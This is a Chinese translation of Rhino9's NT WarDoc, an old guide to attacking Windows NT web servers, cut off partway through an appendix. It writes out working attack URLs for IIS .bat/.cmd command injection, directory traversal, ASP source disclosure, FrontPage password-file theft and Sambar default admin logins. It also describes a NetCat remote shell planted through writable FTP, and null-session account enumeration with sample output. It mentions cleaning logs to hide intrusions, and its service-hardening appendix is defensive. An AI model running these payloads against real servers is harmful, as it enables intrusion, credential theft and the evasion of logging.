尽管有一些要探讨的问题确实过时了,但我们在这里之所以涉及到这些内容,是因为
Rhino9小组在专业检查中发现有些公司在他们的生产环境中仍然运行比较旧的软件版本。
我们从信息收集方法开始谈起。我们将讨论在攻击过程中收集信息的各种方法以及通
过Web服务器获得能在其它类型的攻击中利用的信息。
首先,我们将探讨如何检索目标机上的Web服务器软件包和版本。一些对安全性知识
一无所知的人可能会感到惊讶,为什么会有人想了解目标机的Web服务器版本?软件的不
同版本都具有不同的脆弱性。因此,入侵者希望了解这些Web服务器软件和版本。
用来获取Web服务器软件和版本的最老练的方法是telnet到HTTP端口上的目标主机。
一旦建立了telnet连接,只需发出一个简单的GET命令就能查看到HTTP标题信息,这些信
息包括正被使用的Web服务器软件和版本。
不喜欢使用远程登录或不希望通过标题信息解析的人会尝试着使用好几种方法。第一
个也可能是非成功入侵者中最常用的工具是Netcraft。入侵者可以访问 [url]www.netcraft.com[/url]
并通过他们的查询引擎从远程目标检索Web服务器信息。Netcraft还可以用来检索所有已
知的Web服务器主机名。例如,如果我们想找到属于someserver.com域的所有Web服务器,
就可以用Netcraft的引擎来查询*.someserver.com,接着它会返回一个该域中所有Web服
务器主机的列表。其它能用来检索Web服务器版本的工具包括1nf0ze(Suld)和Grinder
(Rhino9的horizon)(所有这些工具的URLs见本文结尾处)。
一旦入侵者确定他所接近的是什么样的Web服务器包,即可拟订攻击计划。
注:这一节仅仅对一些较常见的攻击进行介绍。
要涉及到的第一个攻击是.bat/.cmd缺陷。由于这个缺陷已被公开证实,因此我们引
用如下(作者未知。如果其作者有机会阅读本文,请马上通知我们,以便于及时向作者支
付稿酬)。
.bat和.cmd BUG是Netscape服务器中一个众所周知的bug,其描述见WWW安全性常见问
题解答第59个问题。我们对如何在Internet信息服务器中实现这个bug已经介绍过多次。
现在我们来看一看IIS Web服务器的初次安装,其中所有的设定都是默认的:
1) CGI目录是/scripts
2) 在/scripts目录下没有abracadabra.bat或abracadabra.cmd文件。
3) IIS Web服务器把.bat和.cmd扩展名映射到cmd.exe。
因此,注册表关键字
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC
\Parameters\ScriptMap有以下字符串:
a) /scripts/abracadabra.bat?&dir+c:\+?&time
b) /scripts/abracadabra.cmd?&dir+c:\+?&time
同时会发生下列情况:
1) 浏览器询问您想怎样保存一个文档。Notepad.exe或其它阅读器适用于这一“类
型”的应用。
2) 浏览器开始下载对话。屏幕上出现下载窗口。
3) 黑客点击下载窗口上的“取消”按钮,因为服务器上的"time"命令永远不会终
止。
4) IIS Web服务器不会在服务器端记录任何信息,因为执行进程没有成功地终止!
!!(幸亏采用了"time"命令。)想了解究竟发生了什么事情的唯一方法是检查所有的NT
安全记录。但是,这些记录不包含象REMOTE_IP这样的信息。因此,黑客的机器是完全匿
名的。
我们再重新开始:
1) IIS Web服务器允许黑客通过输入
/scripts/abracadabra.bat?&COMMAND1+?&COMMAND2+?&...+?&COMMANDN来执行他的
“批处理文件”。在Netscape服务器中,只能执行单一命令。
2) 在/scripts目录下没有abracadabra.bat文件,但.bat扩展名被映射到
C:\WINNT35\System32\cmd.exe。在Netscape服务器中,实际的.bat文件必须存在。
3) 在黑客输入象"time"或"date"这样的命令作为COMMAND[N]时,IIS Web服务器不
会记录任何信息。在Netscape服务器上,错误记录会有一个关于远程IP和您试着执行的命
令的记录。
如果您不能正确地掌握这种情况下所发生的一切,入侵者就会采用以上攻击顺序在服
务器端生成文件并予以执行。根据攻击者的技术水平和意图,其行为会产生不同的效果。
幸运的是,大多数工作环境已经不再运行旧得足以受这些缺陷影响的Internet信息服务器
版本。
在对bat/cmd缺陷进行彻底调查和证明之后不久,另一个bug又震惊了业界。同样幸运
的是,这个缺陷也仅仅对旧版本的IIS造成影响。这个被称为”double dot bug”的缺陷
使Web站点的访问者能够从允许访问的web根目录下逃脱并浏览或下载文件。很显然,最终
服务器会包含不在指定Web根目录下的敏感信息,而这个简单的缺陷会为外来者访问这些
敏感信息提供机会。这个命令是作为URL执行的,其结构如下:
[url]http://www.someserver.com/..[/url]\..
当double dot bug不够用时,不久之后就出现了这个缺陷的另一个变体。这个新发现
的缺陷使入侵者能够执行目标机上的脚本文件。由于这个新缺陷是double dot bug的一个
变体,因此,这些脚本文件都不在web根目录下。这种攻击也是作为URL执行的,其结构如
下:
[url]http://www.someserver.com/scripts..[/url]\..\scriptname
Internet信息服务器的WindowsNT安装需要一些用于公共访问身份认证的帐户。如果
这些帐户没有以任何方式出现,那么,每一个访问站点的访问者都要提供身份信息。这并
不是一个提供公用Web站点的非常有效的方法。在Internet信息服务器上,要使用的帐户
是IUSR_account。这个帐户及其口令都是在安装过程中生成的。根据默认值,该帐户是
Everyone群组的一个成员,而且,Everyone群组对NT驱动器上的所有信息具有只读访问权
限。这些方法与上述的缺陷相结合就会造成巨大的安全性破坏。
有段时间以来, URL相关的新攻击类型每周都会出现。在上述脚本缺陷之后出现的是
另一个脚本相关的bug,它使入侵者能够在目标机上生成一个文件,随后再执行该文件。
其URL结构是:
[url]http://www.someserver.com/scripts/script_name%0A%0D>PATH[/url]\target.bat
当这个缺陷首次出现时,业界有很多人都不大重视这个问题。接着,就有消息发布,
证明了入侵者为获得修复SAM拷贝会采取的具体步骤。其中就包括了上面的URL缺陷,它是
整个攻击的组成部分。
当Microsoft发布Internet信息服务器3.0时,活动的服务器页面(active server
page)技术开始走向世界。而同时,这一发布也为影响IIS和NT4的大量新缺陷的出现打开
了大门。
活动的服务器页面为Microsoft界提供了简单的和动态的Web页面。人们可以通过很多
不同的方法来使用,如数据库连接、标引与搜索文档、身份认证以及用于那些讨厌的广告
标题的简单图形旋转等。
活动的服务器页面这一概念实际上是相当有创造力的。HTML代码包括有在服务器端执
行并为最终用户生成动态内容的嵌入式脚本代码。有了这个被广泛使用的新技术,向公众
发布第一个缺陷也就指日可待了。这个被成为"dot flaw"的第一个缺陷使入侵者能够在服
务器不执行脚本的情况下查看到脚本。
其标准的URL结构是:
[url]http://www.genericserverhere.com/default.asp[/url]
其攻击URL结构是:
[url]http://www.genericserverhere.com/default.asp.[/url]
这一攻击会在攻击者的Web浏览器上显示未执行代码。不用说,脚本代码会包含敏感
信息,如远程连接到数据库上的用户名/口令。在所有信息中,这一类信息是用户不希望
入侵者接触到的信息。
当dot flaw的修复方法发布时,也发布了对付修复方法的缺陷的变体。第一个变体是
%2e。%2e是period的十六进制值,因此,这表明所提供的修复方法还不够健壮。这种缺陷
的各种变体有时还在出现。由于所有变体都产生相同的最终结果,所以这里就不一一赘述
了。下面是一些攻击URL结构:
[url]http://www.someserver.com/default%2easp[/url]
[url]http://www.someserver.com/default%2e%41sp[/url]
[url]http://www.someserver.com/default.asp::$DATA[/url]
[url]http://www.someserver.com/shtml.dll?.asp[/url]
安全界的每一个人都有这样的感觉:近期内,这些方法不会是最后的脚本显示方法。
随着这些脚本的应用越来越广泛,它们将包含越来越多的敏感信息。这些简单的方法可导
致入侵者轻而易举地获得敏感信息。
就通过IIS收集信息而言,最常见和容易的攻击之一就是索引服务器(Index Server)
攻击。索引服务器是一个包括在internet信息服务器(IIS)3.0中的小搜索引擎模块。这个
模块使Web管理员能够向访问其站点的访问者提供搜索Web站点内容的可搜索界面。虽然索
引服务器本身并没有什么问题,但如果Web站点管理员缺乏培训就会出现问题。索引服务
器的安装和维护都很简单,不过,它对目录和作用域的使用会导致管理员不能正确地配置
允许权限和可搜索内容。这一配置问题会使入侵者获得在一般情况下他需要花大量的时间
和精力才能得到的对信息的访问权限。
这种攻击的默认URL结构是:
[url]http://www.someserver.com/samples/search/queryhit.htm[/url]
这个路径反应出了进入样本页面的默认路径。如果这个路径不是一个有效路径,入侵
者就会仍然点击具有帮助作用的标题“Search This Site”链接,访问相同的信息。一旦
入侵者成功地访问到该html文档,就会出现一个包含有表格字段的Web页面。在这个表格
字段中,访问者一般都会输入他想搜索的信息。入侵者会采用一个文件名搜索字符串,
如:
#filename=*.txt
这个字符串会指示索引服务器通过索引的数据目录搜索任何以该文件扩展名结尾的文
件。请记住,这个文件扩展名并不局限于索引服务器能理解的扩展名。如果索引服务器遇
到一个它不知道的文件类型,它就会把这个文件类型当作二进制来处理,并对文件名、扩
展名、日期及其它属性编写索引。这表明入侵者可搜索任何信息,包括能搜索到修复sam
的*._。有趣的是,索引服务器与其它internet搜索引擎不同,它不会显示请求者没有访
问权限的文件。也就是说,如果索引服务器返回一个它找到文件的信息,那么该文件就是
可访问的。
入侵者会试着利用的另一个默认功能是Internet信息服务器Web管理界面。在IIS默认
的安装中,Web管理界面内置在Web根目录的”iisadmin”子目录下,这说明它的URL攻击
结构是:
[url]http://www.someserver.com/iisadmin[/url]
如果管理员在这个界面上已经错误地配置了允许权限,那么,入侵者就会通过管理功
能获得对Web服务器的未授权访问。如果访问成功,就会出现一个管理工具的html界面。
根据IIS和NT处理允许权限的方法,入侵者有可能得到访问界面的权限,但没有真正采取
任何行动的允许权限。因此,如果您正在检查您自己的网络,一定要作一些小的更改,以
确定网络是不是有问题。
在97年底和98年初曾经发生过大量的Web服务器攻击。在这些攻击中,大部分攻击都
具有一个共同点:web服务器正在运行Microsoft Frontpage Extensions。Frontpage
Extensions是很小的"web bots",如果您愿意,即可让作者或web站点管理员执行复杂或
相关的任务。
Frontpage Extensions存在的问题是,默认的Frontpage安装不安全,尤其是在UNIX
版本中。大量支持这些扩展名的服务器都没有设口令,或者把管理权限分配给Everyone群
组。这里的Everyone群组还是表示每个人,包括匿名连接。
下面,我们来看一看第一个采用Frontpage客户机软件进行的攻击。
支持Frontpage的服务器会有若干个以字母”_vti”开头的工作目录。在任何常用的
搜索引擎上搜索默认的Frontpage目录会得到大量从引擎上返回的信息。然后,入侵者就
能对这些服务器进行简单而又反复的攻击。这种攻击的执行过程如下:
1- 打开您自己的Frontpage个人拷贝
2- 进入”Open frontpage web”对话框
3- 输入您要攻击的服务器的URL或IP
如果服务器没有设口令,或者,如果允许权限是分配给Everyone群组的,Frontpage
就会为您打开远程站点并允许您能够进行更改。这种攻击实际上是很简单的。如果扩展名
正确,就会出现用户名/口令对话。入侵者可以尝试一些基本的组合如管理员/口令。如果
入侵者有兴趣,他会一直尝试下去。
另外,入侵者还可以用同样的"open frantpage web"方法来得到完整的用户列表。这
种方法可以用在brute force攻击中。鉴于对通过这种方法终止用户名的收集进行解释的
文件资料已经公开发布,您就应该建立一个象FP_ [url]www.yourdomain.com:80[/url]这样的限制群
组。这个新的限制群组确实起作用,除非入侵者采用的是您的服务器的IP地址,而不是域
名。
还有其它一些方法能够与Frontpage一起使用,它们会抓取Frontpage口令文件。
Frontpage一般把口令存储在_vti_pvt目录下,有相同的service.pwd。入侵者会试着执行
下列URL:
[url]http://www.someserver.com/_vti_pvt[/url]
如果允许权限设置不正确并允许目录浏览,入侵者就会得到该目录下的文件,包括
service.pwd。管理员通常会重视安装和站点的安全性并限制对该目录的访问。尽管这个
方法不错,但始终要防止NTFS对网络造成破坏。根据NTFS的配置,用户仍然可以得到口令
文件的访问权限,即使对其父文件夹的访问已经被拒绝。在这种情况下,入侵者只需在
URL中输入访问该文件的完整路径,如:
[url]http://www.someserver.com/_vti_pvt/service.pwd[/url]
尽管Frontpage口令文件是加密文件,但它是用标准DES加密的,因此,任何DES解密
高手都能在正确诊断该文件后获得口令信息。另外,入侵者也会刺探其它_vti目录,因为
这些目录有时也会保存敏感信息。在掌握了用户名并对口令解密后,入侵者就会用他的
Frontpage重新连接并提供身份证明信息;或者,如果相同的用户名/口令在上下文中能起
作用,入侵者即可通过其它方式利用这些身份证明信息,如映射网络驱动器等。
(注:Service.pwd不是唯一已知的口令文件名。已经掌握的口令文件有Authors.pwd
, admin.pwd, users.pwd和administrators.pwd等。)
在Frontpage相关的方法中,二进制FTP方法被看作是技术上最成熟的方法,虽然这种
方法实现起来相当容易。这个二进制攻击会使入侵者通过Frontpage扩展名执行任意二进
制文件。入侵者必须找到既支持Frontpage又支持FTP匿名可写程序的服务器。在通过FTP
连接到服务器之后,入侵者就可以新建一个名为_vti_bin的目录。然后他就可以下载他想
放在新建目录下的任何可执行程序。一旦上载了可执行文件,入侵者就会输入下列URL:
[url]http://www.someserver.com/_vti_bin/uploaded_file[/url]
然后,服务器就会执行这个文件。
在二进制进攻方法被传播开来不久之后就发现了_vti_cnf。这会使入侵者查看到特定
目录下的所有文件。通过用_vti_cnf替换index.html,入侵者就能看到该目录下的所有文
件,并有可能获得访问权限。这种攻击结构如下:
标准结构— [url]http://www.someserver.com/some_directory_structure/index.html[/url]
攻击结构— [url]http://www.someserver.com/some_directory_structure/_vti_cnf[/url]
看起来,能产生类似结果的相同攻击类型数不胜数。遗憾的是,事实确实如此。在这
些缺陷中,有很多已经被研究缺陷变体的人士所发现,但并不是所有影响NT Web服务的缺
陷都来自Internet信息服务器。
另外还有其它一些将在NT上运行的Web服务器软件包,象众所周知的Apache Web服务
器。当然,有了这些第三方Web服务器软件包和在这些第三方软件包上运行的脚本,新的
缺陷注定会暴露出来。
Webcom Datakommunikation曾经发布了一个允许Web站点的访问者在来宾卡上签名的
cgi脚本。Cgi脚本的名字是guest.exe。只要发出正确的命令,这个小小的cgi脚本就会使
攻击者查看到您服务器上的任意文本文件。
访问者要签名的表格页面包含了很多隐藏字段。其中一个隐藏输入字段如下(根据
David Litchfield的报告):
input type="hidden" name="template"
value="http://blog.77169.com/c:\inetpub\wwwroot\gb\template.htm">
or
input type=”hidden” name=”template” value="http://blog.77169.com/”/gb/template.htm”>
" 这里的template.htm是在用户输入信息后通过wguest.exe显示出来的文件。为了利用
这一点,攻击者会查看源代码并把该文档保存在他的桌面上,然后通过改变他想查看的任
意文件的路径对这一行进行编辑,例如:
input type="hidden" name="template"
value="http://blog.77169.com/c:\winnt\system32\$winnt$.inf">
[如果完成了独立安装,即可通过这个文件得到管理口令]
然后,点击”Submit”,wguest.exe就会显示这个文件。这种方法没有用PWL文件测
试过。不过,攻击者必须知道他要查看的文件的正确路径。
另一个“类属的”HTTPD方法涉及到一个在WindowsNT上运行的第三方Web服务器产
品,称为Sambar服务器。下面是直接从招贴中引用的内容:
查看攻击对象的HDD是大有可能的。您可通过使用这些关键字
+sambar +server +v4.1
搜索Internet,找到运行Sambar服务器的计算机。
如果您找到的站点是: [url]http://www.site.net/[/url],就做一次测试,运行一个perl脚本:
[url]http://www.site.net/cgi-bin/dumpenv.pl[/url]
现在您看到的是攻击对象的计算机的完整环境,包括他的路径。您可以试着通过以下
URL以管理员的身份登录:
[url]http://www.site.net/session/adminlogin?Rcpage=/sysadmin/index.html[/url]
默认登录为:admin;默认口令为空白。如果攻击对象还没有更改他的设置,您现在
就能控制他的服务器。另一个特征是查看攻击对象的HDD。如果您能运行perl脚本,也就
应该能(在大多数情况下)通过他的路径查看目录的脚本。大多数人在路径行中都有
C:/program files和C:/windows,因此,您可以利用以下URL:
[url]http://www.site.net/c:/program[/url] files/sambar41
我们在这里简单提一下Netscape Enterprise Server。有些软件版本通过允许用户访
问目录对?PageServices参数作出反应。 [url]http://www.site.net/?PageServices[/url]就是实现方
法。
最后,我们再来看看FTP。FTP是一个比较安全的协议。很多人会认为平台和版本冗余
使它更安全,总的来说,这种看法是正确的。但多数经验丰富的安全专业人士会告诉您,
如果最终管理员没有受过专业培训,版本和平台实在没有多大意义。鉴于Rhino9按照FTP
允许权限已经能够渗透大量的服务器,我们就在这里给一个简单的提示。有些管理员不会
注意或理解他们的Web服务器上的”Anonymous world writable”。但Rhino9通过一个错
误配置的FTP服务器提出了疑问并渗透到整个网络。
通过anon-ftp-writable把NetCat上载到服务器上、通过URL执行这个程序以及把它绑
定到端口上都很容易实现。从那一刻起,您在NT上就有了一个远程“外壳”。通过连接到
该远程NetCat绑定,所有从该外壳发出的命令行功能似乎都是从具有在内部用户上下文中
运行的NetCat绑定的那个外壳发出的。
其它的信息收集与渗透方法
==============================================================================
(如同那些包括很多不同主题的安全相关文档一样,有些主题似乎有点不合时宜。这
一节将探讨一些确实不适合本文的不同方法。如有内容不完整之处,敬请原谅。)
如果说Rhino9小组有一个投入大量时间来研究的产品,那就是WinGate。第一个有关
WinGate的问题是通过具有所有后续连接的WinGate进行“弹跳”的功能。这个小缺陷非常
容易使用。入侵者可以远程登录到WinGate端口并看到这样的提示符:
WinGate>
在该提示符下,您能发出一个独立的远程登录命令,或者利用WinGate的SOCK功能建
立其它连接。当该软件产品的开发商急于发布其修复版本和公告栏时,下一个版本的发布
也出现了问题。
在WinGate的默认安装中,WinGate机器是用记录服务配置的。记录服务监听WinGate
机器的8010端口。通过建立该端口的HTTP连接,入侵者就会得到两个信息:
“Connection Cannot Be Established”
或WinGate机器硬驱的列表。请记住,这是一个默认安装,可以通过更改默认安装配
置来修复。
随着Exchange服务器成为越来越通用的邮件服务器包,其缺陷也开始出现。第一个暴
露出来的缺陷是Exchange结构中的口令高速缓存问题。下面是直接从原版招贴中引用的内
容:
用提供有POP3服务的Exchange 5.0在您的NT域上新建一个用户xyz。把xyz的口令设置
为a1234。到目前为止一切都正常。现在把xyz的口令更改为b5678。您就会发现无论使用
这两个口令中的哪一个,POP3邮件客户机都能登录。现在再把口令改为另一个值,您会发
现POP3客户机(或直接远程登录到110端口)能够用这三个口令中的任何一个登录。结果
是这些口令都起作用。由于Exchange 5.0服务POP3连接符采用非散列机制对口令进行高速
缓存,因此,所有的口令都能起作用。这一特征既不影响用来接收那些采用不同身份认证
的邮件的Web页面新界面,也不影响NT登录。在非POP3登录信息中,口令不是高速缓存的
(除了NNTP和LDAP以外)。如您所看到的,高速缓存问题在特定环境中是一个非常严重的
问题。
入侵者用来收集信息的另一个方法是基于目标邮件服务器的SMTP端口的。为了保证适
应SMTP并能与internet上的其它邮件实体完全交互,基于NT的SMTP邮件服务器要掌握验证
特征。通过建立与邮件服务器SMTP端口的远程登录会话,入侵者能够发出连同用户名一起
的验证命令。如果验证特征被激活,服务器就能告诉入侵者它是否是有效的用户名。攻击
命令是:
vrfy administrator (该命令会验证用户指定的管理员是否存在)
在一些邮件系统上,首先要求入侵者完成HELO排序,不过这一步非常简单。显而易
见,这会导致入侵者收集到有效用户名列表,然后用于其它攻击。
结束语
==============================================================================
本文的作者希望您通过阅读本文能够做到学有所用。另外,我们也想提醒读者的是,
我们希望本文始终能跟上目前业界的发展情况。我们计划在不久的将来发布本文的更新版
本,从而及时提供管理员和安全专业人士都能利用的最新信息。请将您的信息收集与远程
渗透方法寄至 [email]neonsurge@hotmail.com[/email]。一旦发布本文的新版本,我们会在NTBugTraq等列
表上发出通知。本文的主页在Rhino9 Web站点上( [url]http://rhino9.ml.org[/url])。
本文的作者在近期内有另外三个文档准备发布。这三个文档都属于NT WarDoc系列,
分别是即将完成的服务拒绝、本地渗透方法以及一篇论述用来警惕其它论文主题的方法的
论文。我们衷心地希望能及时得到业界的反馈信息。
附录A:NET命令
==============================================================================
下面是所有Net命令及其功能:
Net Accounts:显示口令、登录限制和域信息的当前设置。另外,它还包含有更新用户帐
户数据库和修改口令、登录要求的选项。
Net Computer:通过域数据库增加或删除计算机。
Net Config Server or Net Config Workstation:显示有关服务器服务的配置信息。在
没有指定服务器或工作站的情况下使用时,这个命令显示可配置服务的列表。
Net Continue:恢复被NET PAUSE命令暂停的NT服务。
Net File:列出服务器上公开的文件,并为关闭共享文件和清除文件锁定提供选项。
Net Group:显示有关群组名字的信息,并提供您能用来增加或修改服务器上的全局群组
的选项。
Net Help:这些命令的帮助信息。
Net Helpmsg message#:获得有关特定NET错误或功能消息的帮助信息。
Net Localgroup:列出服务器上的本地群组。您也可以修改这些群组。
Net Name:显示接收消息的计算机和用户的名字。
Net Pause:中断特定的NT服务。
Net Print:显示打印作业和共享队列。
Net Send:把消息发送给网络上的其它用户、计算机或消息处理名字。
Net Session:显示有关当前会话的信息。它还可以切断特定会话。
Net Share:列出计算机上所有正被共享的资源的信息。它还可用来创建网络共享。
Net Statistics Server or Workstation:显示统计记录。
Net Stop:停止NT服务,取消该服务正在使用的任何连接。大家都知道,停止一个服务即
可停止其它服务。
Net Time:用来显示或设置计算机或域的时间。
Net Use:显示已连接计算机的列表,并提供共享资源的连接和切断选项。
Net User:显示计算机的用户帐户列表,并提供创建和修改这些帐户的选项。
Net View:显示计算机上正被共享的资源的列表。包括NetWare服务器。
**有关DOS和旧版本Windows机器的注解:以上列出的命令适用于Windows NT服务器和工作
站。DOS和旧版本的Windows客户机可使用下列NET命令:
Net Config
Net Diag(运行诊断程序)
Net Help
Net Init(加载协议和网络适配器驱动程序)
Net Logoff
Net Logon
Net Password(更改口令)
Net Print
Net Start
Net Stop
Net Time
Net Use
Net Ver(显示网络转向器的类型和版本)
Net View
附录B SID工具的使用实例
==============================================================================
下面是SID工具的使用实例,是直接从有关该工具的公告兰上引用的:
这个缺陷与实用程序User2id和Sid2User一起使用。这些实用程序利用的是
LookupAccountName和LookupAccountSid WIN32功能。这些功能必须由具有Everyone访问
权限的用户来执行,实现起来并不困难。
其实现过程如下:
1) 查找任意域帐户的一个SID,例如域用户
user2sid "domain users"
S-1-5-21-201642981-56263093-24269216-513
现在我们知道了当前域的所有次权限。域帐户仅与SID的最后一个数字不同,被称为
RID。
2) 查找内置管理员名字(RID始终是500)
sid2user 5 21 201642981 56263093 24269216 500
Name is SmallUser
Domain is DomainName
Type of SID is SidTypeUser
现在有可能从第一个域帐户开始查找所有的域帐户(RID = 1000表示第一个帐户,
1001表示第二个,以此类推。RIDs永远不会再用于当前的安装)。
sid2user 5 21 201642981 56263093 24269216 1000
sid2user 5 21 201642981 56263093 24269216 1001
…
请记住:匿名帐户也是Everyone群组的组成部分。有时也会发生这样的情况,即匿名
帐户没有经过注册/注销特征的检查。
下面这个例子是在假设NetBIOS端口开放的情况下进行的(这个列表是虚构的):
nslookup [url]www.xyz.com[/url]
Non-authoritative answer:
Name: [url]www.xyz.com[/url]
Address: 131.107.2.200
net use \\131.107.2.200\ipc$ "" /user:""
The command completed successfully.
user2sid \\131.107.2.200 "domain users"
S-1-5-21-201642981-56263093-24269216-513
Number of subauthorities is 5
Domain is XYZ_domain
Length of SID in memory is 28 bytes
Type of SID is SidTypeGroup
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 500
Name is XYZAdmin
Domain is XYZ_domain
Type of SID is SidTypeUser
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1000
Name is
Domain is XYZ_domain
Type of SID is SidTypeDeletedAccount
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1001
Name is Simpson
Domain is XYZ_domain
Type of SID is SidTypeUser
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1112
LookupSidName failed - no such account
Default NT Install SID's are:
DOMAINNAME\ADMINISTRATOR
S-1-5-21-917267712-1342860078-1792151419-500 (=0x1F4)
DOMAINNAME\GUEST
S-1-5-21-917267712-1342860078-1792151419-501 (=0x1F5)
Built-In Global Groups
DOMAINNAME\DOMAIN ADMINS
S-1-5-21-917267712-1342860078-1792151419-512 (=0x200)
DOMAINNAME\DOMAIN USERS
S-1-5-21-917267712-1342860078-1792151419-513 (=0x201)
DOMAINNAME\DOMAIN GUESTS
S-1-5-21-917267712-1342860078-1792151419-514 (=0x202)
Built-In Local Group
BUILTIN\ADMINISTRATORS S-1-5-32-544 (=0x220)
BUILTIN\USERS S-1-5-32-545 (=0x221)
BUILTIN\GUESTS S-1-5-32-546 (=0x222)
BUILTIN\ACCOUNT OPERATORS S-1-5-32-548 (=0x224)
BUILTIN\SERVER OPERATORS S-1-5-32-549 (=0x225)
BUILTIN\PRINT OPERATORS S-1-5-32-550 (=0x226)
BUILTIN\BACKUP OPERATORS S-1-5-32-551 (=0x227)
BUILTIN\REPLICATOR S-1-5-32-552 (=0x228)
Specail Groups
\CREATOR OWNER S-1-3-0
\EVERYONE S-1-1-0
NT AUTHORITY\NETWORK S-1-5-2
NT AUTHORITY\INTERACTIVE S-1-5-4
NT AUTHORITY\SYSTEM S-1-5-18
附录C:默认IIS结构的关系位置
==============================================================================
C:\InetPub\wwwroot
C:\InetPub\scripts /Scripts
C:\InetPub\wwwroot\_vti_bin /_vti_bin
C:\InetPub\wwwroot\_vti_bin\_vti_adm /_vti_bin/_vti_adm
C:\InetPub\wwwroot\_vti_bin\_vti_aut /_vti_bin/_vti_aut
C:\InetPub\cgi-bin /cgi-bin
C:\InetPub\wwwroot\srchadm /srchadm
C:\WINNT\System32\inetserv\iisadmin /iisadmin
C:\InetPub\wwwroot\_vti_pvt /_vti_pvt
C:\InetPub\wwwroot\samples\Search\QUERYHIT.HTM Internet Information Index
Server sample
C:\Program Files\Microsoft FrontPage\_vti_bin
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_aut
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_adm
C:\WINNT\System32\inetserv\iisadmin\htmldocs\admin.htm /iisadmin/isadmin
Frontpage特有的文件及其功能:
/_vti_inf.html Ensures that frontpage server extensions are installed.
/_vti_pvt/service.pwd Contains the encrypted password files. Not used on IIS
and WebSite servers.
/_vti_pvt/authors.pwd On Netscape servers only. Encrypted. Names and passwords
of authors.
/_vti_pvt/administrators.pwd
/_vti_log/author.log If author.log is there it will need to be cleaned to
cover an intruders tracks.
附录D:服务
==============================================================================
我已经收到过无数有关NT服务的邮件。人们都在问,他们该做些什么,哪些服务应该
去激活,等等。下面是NT服务的列表,包括每个服务的说明和安装建议。——NeonSurge
ALERTER(告警器):依赖于NetBIOS,通过TCP/IP进行网络通信。这个服务使用户能
够接收其它机器发出的消息。这些消息可以是告警信息或预先确定的网络信息。建议去激
活机器上的这个服务,因为它依赖于NetBIOS,而且几乎从来都没用过。
CLIPBOOK SERVER(剪贴本服务器):依赖于NetBIOS,通过TCP/IP进行网络通信。该
服务器服务允许剪贴板上的内容通过网络共享。由于这个服务很少用,而且远程入侵者可
以通过它获得信息,因此应该去激活。
COMPUTER BROWSER(计算机浏览器):该服务使用户通过网络邻居的浏览能查看到可
用的网络资源。当在服务器上激活时,服务器就会通过NetBIOS广播注册它的名字或直接
注册到WINS服务器上。建议去激活这个服务。
DHCP CLIENT(DHCP客户机):如果机器是DHCP客户机,应该把该服务设置为自动激
活;如果不是,去激活。
DIRECTORY REPLICATOR(目录复制器):该服务使NT系统能够输入和输出目录内容。
如果您不需要内容复制,就去激活该服务。
EVENT LOG(事件记录):建议始终利用这个服务,因为它负责记录服务器上的活
动,包括安全活动等。
LICENSE LOGGING SERVICE(LICENSE记录服务):用来跟踪不同应用所使用的
licenses。它不会对网络产生任何严重的影响,应设置为自动激活(这是默认设置)。
MESSENGER SERVICE(MESSENGER服务):依赖于NetBIOS,通过TCP/IP进行网络通
信。它在设计和功能上类似于报警器服务。建议停止该服务,以防止通过NBTSTAT命令使
用用户名枚举。
NET LOGON(NET登录):该服务被服务器和工作站用来提供用户身份认证。该服务随
时都需要,它是作为内置SYSTEM用户运行的。
NETWORK DDE and DDE DSDM(网络DDE与DDE DSDM):这些服务提供动态数据交换。
DDE用于象聊天这样的应用(这很重要)以及可能需要这类功能的其它应用。这些服务因
其TCP连接接受状态而被认为具有一定的风险。
NETWORK MONITOR AGENT(网络监控代理):该服务用来对通过网络适配卡的通信量
进行监控。如果本软件的SMS版本正被使用,管理员就能远程监控另一个网络适配卡上的
通信量。
NT LM SECURITY SUPPORT PROVIDER(NT LM安全支持提供者):该服务为旧版本软件
包提供后向兼容性与身份认证帮助。
PLUG AND PLAY(即插即播):用于配置PnP设备。
REMOTE PROCEDURE CALL LOCATOR AND SERVICES(远程过程调用定位符与服务):
RPC是一个用来封装通过网络进行的功能调用的协议。它的默认配置是自动的和标准的。
该服务会造成很大的安全风险,但由于对该服务的依赖性很大,以至于不能去激活。
ROUTING AND REMOTE ACCESS SERVICE(路由与远程访问服务):这是一个增强
Windows NT功能的后加服务。如果您正在用调制解调器从您的NT系统拨出,该服务应设置
为自动激活。如果您正在使用它的选路特征,也应该将它设置为自动激活。
SCHEDULE(调度):该服务使一个应用程序能够在预先指定的时间被执行。这样会造
成严重的安全威胁,因为该服务可被用来启动SYSTEM上下文中的应用。
SERVER(服务器):是所有服务器端NetBIOS应用的关键所在。没有这个服务,一些
管理工具如服务器管理器就不能用。如果不需要对机器的远程管理或访问,建议去激活该
服务。但是在Web服务器上不需要这个服务。
SPOOLER(假脱机程序):该服务用来接受从客户机发出的打印作业请求,并使本地
系统能够把作业假脱机到网络打印机。该服务应设置为自动激活。
TCP/IP NETBIOS HELPER(TCP/IP NETBIOS帮助):该服务有助于增强NBT和Net登录
服务。因为Net登录服务应该设置为自动激活,所以这个服务也应该设置为自动激活。
TELEPHONY SERVICE(电话服务):该服务用来管理电话驱动程序和拨号属性。在不
采用任何类型的电话或RAS设备的系统上,应去激活这个服务。
UPS:这个服务用在与不间断电源的串行通信中。
WORKSTATION(工作站):这个服务是为出站NetBIOS连接提供的。因为它仅用于出站
连接,因此一般没有安全风险,应设置为自动激活。
附录E:URL
==============================================================================
Sid Tools: [url]http://www.technotronic.com/microsoft.html[/url]
Eudpass: [url]http://rhino9.ml.org/wardoc[/url]
1nf0ze: [url]http://rhino9.ml.org/wardoc[/url]
FireFTP: [url]http://rhino9.ml.org/wardoc[/url]
Grinder: [url]http://rhino9.ml.org/software[/url]
Glide: [url]http://rhino9.ml.org/wardoc[/url]
John The Ripper (DES Cracker): [url]http://www.false.com/security/john/index.html[/url]
WS_FTPBug: [url]http://rhino9.ml.org/wardoc[/url]
L0phtCrack (NT Password Cracker): [url]http://www.l0pht.com[/url]
PWDump: [url]http://rhino9.ml.org/wardoc[/url]
NAT: [url]http://www.technotronic.com/microsoft.html[/url]
附录F:LMHOSTS文件
==============================================================================
尽管大多数安全专业人士习惯于使用HOSTS文件,但实际上,WindowsNT是用两个文本
